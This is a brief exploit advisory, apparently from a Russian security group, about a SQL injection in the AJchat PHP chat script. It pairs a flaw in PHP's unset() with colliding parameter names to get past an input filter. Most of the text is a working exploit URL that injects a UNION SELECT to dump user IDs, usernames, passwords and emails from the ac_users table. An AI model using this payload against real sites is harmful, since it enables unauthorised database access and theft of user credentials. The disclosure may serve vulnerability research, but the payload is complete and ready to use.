----[ AJchat Remote Sql Injection using unset() bug ... ITDefence.ru Antichat.ru ]
AJchat Remote Sql Injection using unset() bug
Eugene Minaev underwater@itdefence.ru
<?php
if (isset($_GET["s"])){
$_GET["s"] = strtoupper($_GET["s"]);
if (strlen($_GET["s"])==1 && $_GET["s"]>='A' && $_GET["s"]<='Z'){
// nothing
}else unset($_GET['s']);
}
?>
As we can see , $_GET['s'] can include only A..Z characters , in other way script unset() it.
calc.exe s
5861526=1
5863704=1
directory.php?s='and 1 = 2 union select concat_ws(char(59),id,username,password,email),null+from+ac_users/*&5861526=1&5863704=1
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